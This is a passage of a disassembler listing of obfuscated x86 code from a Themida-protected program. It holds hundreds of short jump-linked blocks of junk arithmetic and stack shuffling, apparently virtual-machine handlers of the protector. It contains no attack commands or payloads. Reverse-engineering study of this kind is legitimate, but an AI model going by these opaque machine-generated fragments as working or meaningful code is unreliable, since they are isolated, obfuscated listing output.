		mov	ecx, edx
		pop	edx
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5708CA
; ---------------------------------------------------------------------------


loc_5632A1:				; CODE XREF: Themida_:0056E358j
		push	7A9D259Eh
		pop	eax
		jmp	loc_56454C
; ---------------------------------------------------------------------------


loc_5632AC:				; CODE XREF: Themida_:005643EDj
		push	eax
		mov	eax, 53056484h
		or	eax, 288978B9h
		or	eax, 55CA3AFDh
		and	eax, 6A590B7Dh
		sub	eax, 6A490A79h
		jmp	loc_55F503
; ---------------------------------------------------------------------------


loc_5632CB:				; CODE XREF: Themida_:0056BEFBj
		mov	edi, 293A5FFEh
		dec	edi
		sub	edi, 1
		xor	edi, 51A4483Ah
		jmp	loc_55D9CF
; ---------------------------------------------------------------------------


loc_5632E2:				; CODE XREF: Themida_:00565E6Dj
		xor	cl, 1Dh
		add	cl, 0E0h
		add	al, cl
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56C24E
; ---------------------------------------------------------------------------


loc_563305:				; CODE XREF: Themida_:0055EAA0j
		xor	ebp, eax
		xor	eax, ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_568DB3
; ---------------------------------------------------------------------------


loc_56331E:				; CODE XREF: Themida_:00562F4Cj
		mov	edx, eax
		jmp	loc_562279
; ---------------------------------------------------------------------------


loc_563325:				; CODE XREF: Themida_:0056C976j
		xor	edi, 557241D4h
		add	eax, edi
		jmp	loc_565622
; ---------------------------------------------------------------------------


loc_563332:				; CODE XREF: Themida_:00561916j
		sub	edx, 25163A13h
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2
		add	eax, 644549E1h
		jmp	loc_560C37
; ---------------------------------------------------------------------------


loc_56334F:				; CODE XREF: Themida_:0056D7E3j
		neg	ecx
		sub	ecx, 63589F7Ch
		jmp	loc_560D7D
; ---------------------------------------------------------------------------


loc_56335C:				; CODE XREF: Themida_:00566345j
		push	eax
		mov	eax, 30793B85h
		add	eax, 0FFFFFFFFh
		not	eax
		and	eax, 224C0180h
		sub	eax, 63B1485Ah
		shl	eax, 5
		add	eax, 35A90B44h
		sub	ecx, eax
		pop	eax
		xor	ecx, [esp]
		jmp	loc_56A0FC
; ---------------------------------------------------------------------------


loc_563386:				; CODE XREF: Themida_:00567AF3j
		add	dword ptr [esp+4], 77162041h
		pop	ebp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_565630
; ---------------------------------------------------------------------------


loc_5633A1:				; CODE XREF: Themida_:00565A57j
		push	edx
		mov	dl, 0C7h
		and	dl, 39h
		push	ebx
		mov	bl, 9Dh
		shl	bl, 3
		push	eax
		mov	al, 30h
		xor	bl, al
		jmp	loc_56EBA9
; ---------------------------------------------------------------------------


loc_5633B7:				; CODE XREF: Themida_:0056561Dj
		xor	[esp], cx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_56D1E1
; ---------------------------------------------------------------------------


loc_5633C8:				; CODE XREF: Themida_:0055DFD3j
		sub	ebp, 273B3065h
		shl	ebp, 6
		jmp	loc_56E37B
; ---------------------------------------------------------------------------


loc_5633D6:				; CODE XREF: Themida_:0056A239j
		sub	ebx, esi
		pop	esi
		add	edx, ebx
		pop	ebx
		push	57FFh
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_56031F
; ---------------------------------------------------------------------------


loc_5633EE:				; CODE XREF: Themida_:0055F173j
		mov	ecx, 1
		push	20DDh
		jmp	loc_56A4AF
; ---------------------------------------------------------------------------


loc_5633FD:				; CODE XREF: Themida_:00568F00j
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_55DE62
; ---------------------------------------------------------------------------


loc_563416:				; CODE XREF: Themida_:0056FE67j
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_56D482
; ---------------------------------------------------------------------------


loc_563421:				; CODE XREF: Themida_:0057287Aj
		not	ebx
		add	ebx, 42CC13D9h
		xor	ebx, 6B1C4300h
		xor	ebx, 17E1B3C4h
		push	624Ch
		mov	[esp], ebx
		jmp	loc_56CCD7
; ---------------------------------------------------------------------------


loc_563442:				; CODE XREF: Themida_:005674A3j
		dec	ch
		push	small 0
		sub	[esp], ch
		jmp	loc_560317
; ---------------------------------------------------------------------------


loc_563450:				; CODE XREF: Themida_:0056B72Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_570BE5
; ---------------------------------------------------------------------------


loc_56347E:				; CODE XREF: Themida_:0055E2C1j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_564153
; ---------------------------------------------------------------------------


loc_563490:				; CODE XREF: Themida_:0055E9B2j
		add	esi, ebx
		jmp	loc_569B2F
; ---------------------------------------------------------------------------


loc_563497:				; CODE XREF: Themida_:00568E67j
		mov	[esp], ecx
		mov	ecx, 97705DCh
		push	edx
		jmp	loc_56A14D
; ---------------------------------------------------------------------------


loc_5634A5:				; CODE XREF: Themida_:00567D2Bj
		add	ecx, eax
		pop	eax
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 52D0418Eh
		sub	ebx, 33B444D3h
		sub	ebx, 9E8188Eh
		neg	ebx
		jmp	loc_55F671
; ---------------------------------------------------------------------------


loc_5634C9:				; CODE XREF: Themida_:0055DE36j
		push	edi
		push	edx
		jmp	loc_568ECA
; ---------------------------------------------------------------------------


loc_5634D0:				; CODE XREF: Themida_:00570257j
		pop	edx
		add	edx, 4
		jmp	loc_56BFB8
; ---------------------------------------------------------------------------


loc_5634DC:				; CODE XREF: Themida_:00568291j
		push	edx
		jmp	loc_566F07
; ---------------------------------------------------------------------------


loc_5634E2:				; CODE XREF: Themida_:0055DA22j
		add	esp, 4
		jmp	loc_566262
; ---------------------------------------------------------------------------


loc_5634EA:				; CODE XREF: Themida_:0056269Dj
		add	al, ch
		jmp	loc_55EFC1
; ---------------------------------------------------------------------------


loc_5634F1:				; CODE XREF: Themida_:00568C8Cj
		mov	ch, 34h
		xor	bl, ch
		pop	ecx
		jmp	loc_56D94E
; ---------------------------------------------------------------------------


loc_5634FB:				; CODE XREF: Themida_:0056B18Fj
		inc	ecx
		sub	ecx, 554340A3h
		jmp	loc_5631F2
; ---------------------------------------------------------------------------


loc_563507:				; CODE XREF: Themida_:00564315j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_56AEC8
; ---------------------------------------------------------------------------


loc_56351E:				; CODE XREF: Themida_:005611C4j
		mov	esi, esp
		add	esi, 4
		jmp	loc_56D184
; ---------------------------------------------------------------------------


loc_56352B:				; CODE XREF: Themida_:0055DD25j
		mov	ebx, [esp]
		jmp	loc_561C08
; ---------------------------------------------------------------------------


loc_563533:				; CODE XREF: Themida_:00563C4Dj
		add	ch, 1
		jmp	loc_568D0C
; ---------------------------------------------------------------------------


loc_56353B:				; CODE XREF: Themida_:00571036j
		xor	ebx, 484E15F6h
		xor	ebx, 4855AE6h
		xor	ebx, 29C01355h
		add	ebx, 8121ACA4h
		mov	ebp, ebx
		jmp	loc_5710DC
; ---------------------------------------------------------------------------


loc_56355A:				; CODE XREF: Themida_:0055FC24j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56355F:				; CODE XREF: Themida_:00568403j
		sub	ecx, 4D731727h
		jmp	loc_56B1F4
; ---------------------------------------------------------------------------


loc_56356A:				; CODE XREF: Themida_:0056A455j
		push	eax
		jmp	loc_5625A1
; ---------------------------------------------------------------------------


loc_563570:				; CODE XREF: Themida_:0056150Bj
		pop	ebx
		push	edi
		jmp	loc_56EF9F
; ---------------------------------------------------------------------------


loc_563577:				; CODE XREF: Themida_:0056FE46j
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 66FF4261h
		xor	ebp, 66FF4265h
		jmp	loc_56A0AE
; ---------------------------------------------------------------------------


loc_56358B:				; CODE XREF: Themida_:00571475j
		pop	edx
		xor	al, 0A3h
		mov	ch, al
		push	dword ptr [esp]
		jmp	loc_56D2A6
; ---------------------------------------------------------------------------


loc_563598:				; CODE XREF: Themida_:00560D0Aj
		push	eax
		push	43606800h
		pop	eax
		push	esi
		jmp	loc_5684F6
; ---------------------------------------------------------------------------


loc_5635A5:				; CODE XREF: Themida_:00564986j
		add	edx, 0C0314FF5h
		jmp	loc_55D97C
; ---------------------------------------------------------------------------


loc_5635B0:				; CODE XREF: Themida_:00567CD5j
		mov	edx, esp
		push	esi
		jmp	loc_56BA7B
; ---------------------------------------------------------------------------


loc_5635B8:				; CODE XREF: Themida_:0056F9D4j
		sub	[esp], ebx
		pop	ebx
		add	ebx, 1550248Eh
		add	edx, ebx
		pop	ebx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5651C5
; ---------------------------------------------------------------------------


loc_5635DB:				; CODE XREF: Themida_:00564674j
		xor	edi, ebp
		mov	ebp, [esp]
		jmp	loc_57186F
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		jmp	loc_56E2F8
; ---------------------------------------------------------------------------


loc_5635EC:				; CODE XREF: Themida_:0056463Aj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		jmp	loc_569B1F
; ---------------------------------------------------------------------------


loc_5635FE:				; CODE XREF: Themida_:0056F5CFj
		push	eax
		mov	eax, 3D8F2830h
		mov	edx, eax
		pop	eax
		jmp	loc_5666A6
; ---------------------------------------------------------------------------


loc_56360C:				; CODE XREF: Themida_:00561599j
		push	dword ptr [esp]
		jmp	loc_56D2AC
; ---------------------------------------------------------------------------


loc_563614:				; CODE XREF: Themida_:005720E6j
		add	eax, 68807D99h
		or	eax, 39C12792h
		inc	eax
		or	eax, 5611A9Dh
		push	ebp
		jmp	loc_56AC58
; ---------------------------------------------------------------------------


loc_56362A:				; CODE XREF: Themida_:0056F054j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56D01E
; ---------------------------------------------------------------------------


loc_563635:				; CODE XREF: Themida_:005627A6j
		xor	edx, 41323040h
		add	edx, 0DE12B406h
		add	edi, edx
		pop	edx
		sub	edi, 4
		sub	esp, 4
		jmp	loc_55D69A
; ---------------------------------------------------------------------------


loc_563655:				; CODE XREF: Themida_:0055E3B9j
		push	ecx
		mov	ecx, 4C135FAAh
		push	13DDh
		mov	[esp], esi
		jmp	loc_55EC34
; ---------------------------------------------------------------------------


loc_563668:				; CODE XREF: Themida_:00567D7Fj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_568DBC
; ---------------------------------------------------------------------------


loc_56368A:				; CODE XREF: Themida_:0055DA4Aj
		mov	ecx, 6C755ED4h
		jmp	loc_56FC0A
; ---------------------------------------------------------------------------


loc_563694:				; CODE XREF: Themida_:0055FC0Ej
		mov	ebp, 3E111667h
		sub	ebp, 53905B08h
		shl	ebp, 1
		or	ebp, 35807509h
		add	ebp, 13A71AEDh
		add	ebp, 0DA3DC53h
		jmp	loc_56F7A1
; ---------------------------------------------------------------------------


loc_5636B8:				; CODE XREF: Themida_:00570568j
		mov	[esp], eax
		jmp	loc_56442D
; ---------------------------------------------------------------------------


loc_5636C0:				; CODE XREF: Themida_:00571782j
		pop	ecx
		add	eax, edx
		sub	eax, 19D71201h
		pop	edx
		jmp	loc_5710BD
; ---------------------------------------------------------------------------


loc_5636CE:				; CODE XREF: Themida_:00565E53j
		pop	eax
		mov	cx, [esp]
		add	esp, 2
		sub	bl, 72h
		sub	bl, 6
		add	bl, al
		add	bl, 6
		add	bl, 72h
		push	cx
		jmp	loc_55F561
; ---------------------------------------------------------------------------


loc_5636EB:				; CODE XREF: Themida_:0056CD86j
		pop	eax
		not	eax
		sub	eax, 80586369h
		push	5FA6h
		mov	[esp], eax
		sub	dword ptr [esp], 649C1BE4h
		pop	edx
		add	edx, 649C1BE4h
		pop	eax
		shr	edx, 7
		neg	edx
		neg	edx
		jmp	loc_569A24
; ---------------------------------------------------------------------------


loc_563716:				; CODE XREF: Themida_:0055F03Aj
		mov	[esp], eax
		mov	eax, 76BC4403h
		jmp	loc_56C7AA
; ---------------------------------------------------------------------------


loc_563723:				; CODE XREF: Themida_:0056B0F5j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 5AAD39D8h
		jmp	loc_56A9BE
; ---------------------------------------------------------------------------


loc_563734:				; CODE XREF: Themida_:00567404j
		mov	edi, 66B13C02h
		mov	esi, edi
		jmp	loc_56E3C2
; ---------------------------------------------------------------------------


loc_563740:				; CODE XREF: Themida_:0056B3ACj
		pop	edx
		add	ebx, 690635EBh
		jmp	loc_5614DD
; ---------------------------------------------------------------------------


loc_56374C:				; CODE XREF: Themida_:005690B3j
		xor	edi, [esp]
		jmp	loc_5702CA
; ---------------------------------------------------------------------------


loc_563754:				; CODE XREF: Themida_:00566FBBj
		add	eax, 1EB604A0h
		sub	eax, edx
		sub	eax, 1EB604A0h
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_55F50D
; ---------------------------------------------------------------------------


loc_563781:				; CODE XREF: Themida_:00560376j
		add	eax, 73140975h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55F638
; ---------------------------------------------------------------------------


loc_56378F:				; CODE XREF: Themida_:00565A7Dj
		pop	eax
		mov	edx, eax
		pop	eax
		sub	edi, 6D0E7461h
		add	edi, edx
		add	edi, 6D0E7461h
		mov	edx, [esp]
		push	eax
		push	esp
		jmp	loc_56B8BF
; ---------------------------------------------------------------------------


loc_5637AB:				; CODE XREF: Themida_:0056685Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5702FB
; ---------------------------------------------------------------------------


loc_5637CA:				; CODE XREF: Themida_:00565A72j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5668B9
; ---------------------------------------------------------------------------


loc_5637D5:				; CODE XREF: Themida_:0056BB07j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	eax
		push	edx
		push	ebp
		push	ebx
		mov	ebx, 2
		mov	ebp, ebx
		pop	ebx
		mov	edx, ebp
		pop	ebp
		mov	eax, edx
		jmp	loc_56FEE5
; ---------------------------------------------------------------------------


loc_5637FA:				; CODE XREF: Themida_:0056CDA4j
		pop	edx
		push	eax
		mov	eax, 3F020D4Ah
		neg	eax
		jmp	loc_565C40
; ---------------------------------------------------------------------------


loc_563808:				; CODE XREF: Themida_:005666AEj
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		xor	ecx, 3D8F2830h
		jmp	loc_56B9CD
; ---------------------------------------------------------------------------


loc_563829:				; CODE XREF: Themida_:0056D041j
		and	dl, 71h
		and	dl, 0AEh
		sub	dl, 1Bh
		jmp	loc_5655CA
; ---------------------------------------------------------------------------


loc_563837:				; CODE XREF: Themida_:00567D4Ej
		sub	edx, ecx
		pop	ecx
		add	edx, 18D9761Eh
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5697C7
; ---------------------------------------------------------------------------


loc_563851:				; CODE XREF: Themida_:0055E9C4j
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		add	ebx, edi
		pop	edi
		push	ebp
		push	esi
		mov	esi, 0AD06AA3h
		mov	ebp, 56A2DB3Ch
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_566012
; ---------------------------------------------------------------------------


loc_56387C:				; CODE XREF: Themida_:0055F546j
		pop	ebx
		add	edx, 454A3396h
		push	ecx
		mov	ecx, 521A7D14h
		xor	ecx, 0D0101C9h
		neg	ecx
		add	ecx, 5DE24746h
		add	ecx, 524D8369h
		add	edx, ecx
		pop	ecx
		sub	edx, eax
		sub	edx, 51144DD2h
		push	esi
		mov	esi, 454A3396h
		sub	edx, esi
		pop	esi
		push	2C5Ch
		mov	[esp], eax
		push	57CCh
		jmp	loc_5624ED
; ---------------------------------------------------------------------------


loc_5638C3:				; CODE XREF: Themida_:0055FBD3j
		sub	esi, edx
		mov	edx, [esp]
		jmp	loc_55DCD8
; ---------------------------------------------------------------------------


loc_5638CD:				; CODE XREF: Themida_:00571E21j
		pop	esi
		add	edx, 4
		jmp	loc_569F1E
; ---------------------------------------------------------------------------


loc_5638D9:				; CODE XREF: Themida_:005697B8j
		pop	edx
		push	ecx
		mov	ecx, 11444B99h
		inc	ecx
		xor	ecx, 66A82386h
		sub	ecx, 74B78FECh
		sub	edx, ecx
		pop	ecx
		jmp	loc_56B3AA
; ---------------------------------------------------------------------------


loc_5638F5:				; CODE XREF: Themida_:00566393j
		add	esi, 5C76DE0Ch
		sub	eax, esi
		pop	esi
		push	7F2Dh
		mov	[esp], esi
		mov	esi, 2B3754C0h
		jmp	loc_5694C7
; ---------------------------------------------------------------------------


loc_563910:				; CODE XREF: Themida_:0056E07Bj
		add	ebx, 4
		jmp	loc_56DD8E
; ---------------------------------------------------------------------------


loc_56391B:				; CODE XREF: Themida_:005654C7j
		pop	ecx
		or	ebp, 272568E1h
		jmp	loc_56018F
; ---------------------------------------------------------------------------


loc_563927:				; CODE XREF: Themida_:00565F5Cj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5603CD
; ---------------------------------------------------------------------------


loc_563935:				; CODE XREF: Themida_:00570547j
		sub	eax, 5B3A0602h
		pop	ebp
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_563949:				; CODE XREF: Themida_:0056C885j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56EF62
; ---------------------------------------------------------------------------


loc_563955:				; CODE XREF: Themida_:0056281Fj
		mov	esi, 28634141h
		add	esi, 749142F9h
		add	esi, 740A3D67h
		or	esi, 50863B43h
		add	esi, 3EAB75C6h
		sub	esi, 65FE3B31h
		jmp	loc_56149A
; ---------------------------------------------------------------------------


loc_56397D:				; CODE XREF: Themida_:0055E05Ej
		xor	[esp], ecx
		jmp	loc_5684B8
; ---------------------------------------------------------------------------


loc_563985:				; CODE XREF: Themida_:00563CE2j
		mov	esi, 4
		jmp	loc_563FE7
; ---------------------------------------------------------------------------


loc_56398F:				; CODE XREF: Themida_:00560BACj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_564740
; ---------------------------------------------------------------------------


loc_5639B4:				; CODE XREF: Themida_:0056B087j
		push	ebx
		mov	ebx, 437F1C50h
		jmp	loc_572871
; ---------------------------------------------------------------------------


loc_5639BF:				; CODE XREF: Themida_:005665FCj
		add	esi, 42980646h
		shr	esi, 4
		sub	esi, 0C84446DBh
		add	ecx, esi
		pop	esi
		jmp	loc_56C065
; ---------------------------------------------------------------------------


loc_5639D6:				; CODE XREF: Themida_:00567C16j
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		mov	esi, 44F36653h
		jmp	loc_561DE8
; ---------------------------------------------------------------------------


loc_5639ED:				; CODE XREF: Themida_:0055E58Bj
		inc	dword ptr [esp]
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5639F6:				; CODE XREF: Themida_:005698B1j
		push	1313h
		mov	[esp], ecx
		mov	ecx, 2
		sub	edi, 68697286h
		add	edi, ecx
		push	ebp
		mov	ebp, 2EC7E63h
		jmp	loc_568A47
; ---------------------------------------------------------------------------


loc_563A16:				; CODE XREF: Themida_:0057016Bj
		xor	dword ptr [esp], 7FA42124h
		pop	esi
		push	5E69h
		mov	[esp], edi
		mov	edi, 4345631Fh
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	edi, ebp
		pop	ebp
		shr	edi, 8
		push	eax
		mov	eax, 73F14C8Ah
		shl	eax, 4
		neg	eax
		or	eax, 59BD5E0Bh
		add	eax, 3117932Fh
		jmp	loc_565782
; ---------------------------------------------------------------------------


loc_563A51:				; CODE XREF: Themida_:005726E7j
		add	dword ptr [esp], 4
		jmp	loc_560870
; ---------------------------------------------------------------------------


loc_563A5A:				; CODE XREF: Themida_:00566FAEj
		not	esi
		and	esi, 5CE82B96h
		jmp	loc_56E54D
; ---------------------------------------------------------------------------


loc_563A67:				; CODE XREF: Themida_:0056B107j
		mov	ebx, esp
		add	ebx, 4
		push	esi
		jmp	loc_569146
; ---------------------------------------------------------------------------


loc_563A75:				; CODE XREF: Themida_:00560BD1j
		shl	cl, 7
		xchg	dl, cl
		neg	dl
		xchg	dl, cl
		inc	cl
		add	cl, 36h
		jmp	loc_56CD42
; ---------------------------------------------------------------------------


loc_563A88:				; CODE XREF: Themida_:005702B7j
		dec	eax
		jmp	loc_565668
; ---------------------------------------------------------------------------


loc_563A8E:				; CODE XREF: Themida_:0056D46Aj
		push	ecx
		jmp	loc_567859
; ---------------------------------------------------------------------------


loc_563A94:				; CODE XREF: Themida_:005722F6j
		sub	esp, 4
		mov	[esp], ecx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		add	edx, 246027C7h
		add	edx, ebx
		sub	edx, 246027C7h
		mov	[edx], al
		pop	edx
		jmp	loc_55DD22
; ---------------------------------------------------------------------------


loc_563AB7:				; CODE XREF: Themida_:0056A279j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56536C
; ---------------------------------------------------------------------------


loc_563AC2:				; CODE XREF: Themida_:0056C92Bj
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 9D16243h
		not	eax
		add	eax, 2F155740h
		shr	eax, 2
		push	ebp
		mov	ebp, 669F4A4Ah
		sub	ebp, 5A537976h
		push	ecx
		mov	ecx, 3F8F2562h
		jmp	loc_55E20E
; ---------------------------------------------------------------------------


loc_563B05:				; CODE XREF: Themida_:005726F0j
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_56BDE0
; ---------------------------------------------------------------------------


loc_563B11:				; CODE XREF: Themida_:00570B45j
		push	edx
		mov	edx, 1
		sub	ebx, 0EBB28DDh
		sub	ebx, edx
		add	ebx, 0EBB28DDh
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_562D52
; ---------------------------------------------------------------------------


loc_563B34:				; CODE XREF: Themida_:00566FF3j
		pop	esi
		inc	ebx
		not	ebx
		or	ebx, 344138E7h
		jmp	loc_571190
; ---------------------------------------------------------------------------


loc_563B43:				; CODE XREF: Themida_:00571671j
		not	edi
		neg	edi
		jmp	loc_564E08
; ---------------------------------------------------------------------------


loc_563B4C:				; CODE XREF: Themida_:0055D7A7j
		mov	[esp], edi
		jmp	loc_561B61
; ---------------------------------------------------------------------------


loc_563B54:				; CODE XREF: Themida_:0056F481j
		add	edx, ecx
		pop	ecx
		jmp	loc_564717
; ---------------------------------------------------------------------------


loc_563B5C:				; CODE XREF: Themida_:0056908Aj
		mov	[esp], edx
		push	4F5h
		mov	[esp], edi
		jmp	loc_569FAE
; ---------------------------------------------------------------------------


loc_563B6C:				; CODE XREF: Themida_:00560A66j
		add	ebp, eax
		pop	eax
		add	edi, 67D00A6Fh
		add	edi, 767379FDh
		push	ebp
		mov	ebp, 74BB6FC9h
		add	edi, ebp
		pop	ebp
		add	edi, 6CCD67D7h
		add	edi, ebp
		sub	edi, 6CCD67D7h
		push	ebp
		jmp	loc_564687
; ---------------------------------------------------------------------------


loc_563B98:				; CODE XREF: Themida_:0055F026j
		mov	[esp], eax
		push	edi
		mov	edi, 24h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55DF8A
; ---------------------------------------------------------------------------


loc_563BB1:				; CODE XREF: Themida_:0055DA2Fj
		pop	edx
		shl	ebx, 4
		inc	ebx
		push	edi
		mov	edi, 31EE2A5Ch
		and	ebx, edi
		pop	edi
		jmp	loc_564260
; ---------------------------------------------------------------------------


loc_563BC4:				; CODE XREF: Themida_:00564C04j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_569150
; ---------------------------------------------------------------------------


loc_563BCF:				; CODE XREF: Themida_:005627DFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 6Bh
		sub	ch, 54h
		sub	ch, 0F0h
		shr	ch, 4
		push	edx
		jmp	loc_57110D
; ---------------------------------------------------------------------------


loc_563BF3:				; CODE XREF: Themida_:00571EBDj
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 13418B1h
		neg	ecx
		xor	ecx, 0FECBE74Bh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_56D6CE
; ---------------------------------------------------------------------------


loc_563C23:				; CODE XREF: Themida_:00561548j
		push	ebx
		jmp	loc_56A39B
; ---------------------------------------------------------------------------


loc_563C29:				; CODE XREF: Themida_:00561B3Dj
		pop	edx
		neg	ah
		sub	ah, 95h
		add	dh, ah
		pop	eax
		jmp	loc_5623EC
; ---------------------------------------------------------------------------


loc_563C37:				; CODE XREF: Themida_:005650F2j
		add	esp, 4
		pop	ecx


loc_563C3B:				; CODE XREF: Themida_:0055D33Aj
		push	ebx
		jmp	loc_562B67
; ---------------------------------------------------------------------------


loc_563C41:				; CODE XREF: Themida_:00568BB1j
		push	edx
		mov	dh, 0E7h
		mov	ch, dh
		pop	edx
		jmp	loc_565DA1
; ---------------------------------------------------------------------------


loc_563C4C:				; CODE XREF: Themida_:0055E37Aj
		pop	ebx
		jmp	loc_563533
; ---------------------------------------------------------------------------


loc_563C52:				; CODE XREF: Themida_:00562E7Ej
		push	2879h
		mov	[esp], edi
		push	edx
		jmp	loc_55DD60
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_564302
; ---------------------------------------------------------------------------


loc_563C6F:				; CODE XREF: Themida_:005691C2j
		sub	ebp, 28A314B7h
		jmp	loc_56D1BE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	777Dh
		mov	[esp], eax
		jmp	loc_564353
; ---------------------------------------------------------------------------


loc_563C8B:				; CODE XREF: Themida_:0056FE7Aj
		push	edi
		jmp	loc_570A67
; ---------------------------------------------------------------------------


loc_563C91:				; CODE XREF: Themida_:00564FACj
		pop	eax
		add	esp, 4
		push	20AAh
		mov	[esp], ecx
		jmp	loc_56BBE8
; ---------------------------------------------------------------------------


loc_563CA5:				; CODE XREF: Themida_:005688D7j
		push	ebx
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	[esp+4], ebx
		pop	ebx
		jmp	loc_56AFCD
; ---------------------------------------------------------------------------


loc_563CB6:				; CODE XREF: Themida_:0056409Dj
		xor	ebp, 545CEE6Eh
		jmp	loc_56C9E9
; ---------------------------------------------------------------------------


loc_563CC1:				; CODE XREF: Themida_:0056BA3Ej
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	53A1h
		mov	[esp], esi
		jmp	loc_563985
; ---------------------------------------------------------------------------


loc_563CE7:				; CODE XREF: Themida_:0056A4E7j
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		push	esi
		mov	esi, 56407C29h
		add	esi, 6E7F5755h
		xor	esi, 0C3C9F9EBh
		push	ebp
		mov	ebp, 278D5DD4h
		or	esi, ebp
		pop	ebp
		or	esi, 13EE49FDh
		shl	esi, 2
		add	esi, 40BA0BA6h
		add	esi, 1
		xor	esi, 20B80B9Fh
		add	dword ptr [esp+4], 70112DCAh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 70112DCAh
		pop	esi
		pop	ecx
		add	ecx, 4
		jmp	loc_56601D
; ---------------------------------------------------------------------------


loc_563D46:				; CODE XREF: Themida_:0056DB10j
		add	edx, 65A13E35h
		add	edx, ecx
		sub	edx, 65A13E35h
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_56792B
; ---------------------------------------------------------------------------


loc_563D6E:				; CODE XREF: Themida_:005665EFj
		push	dword ptr [eax]
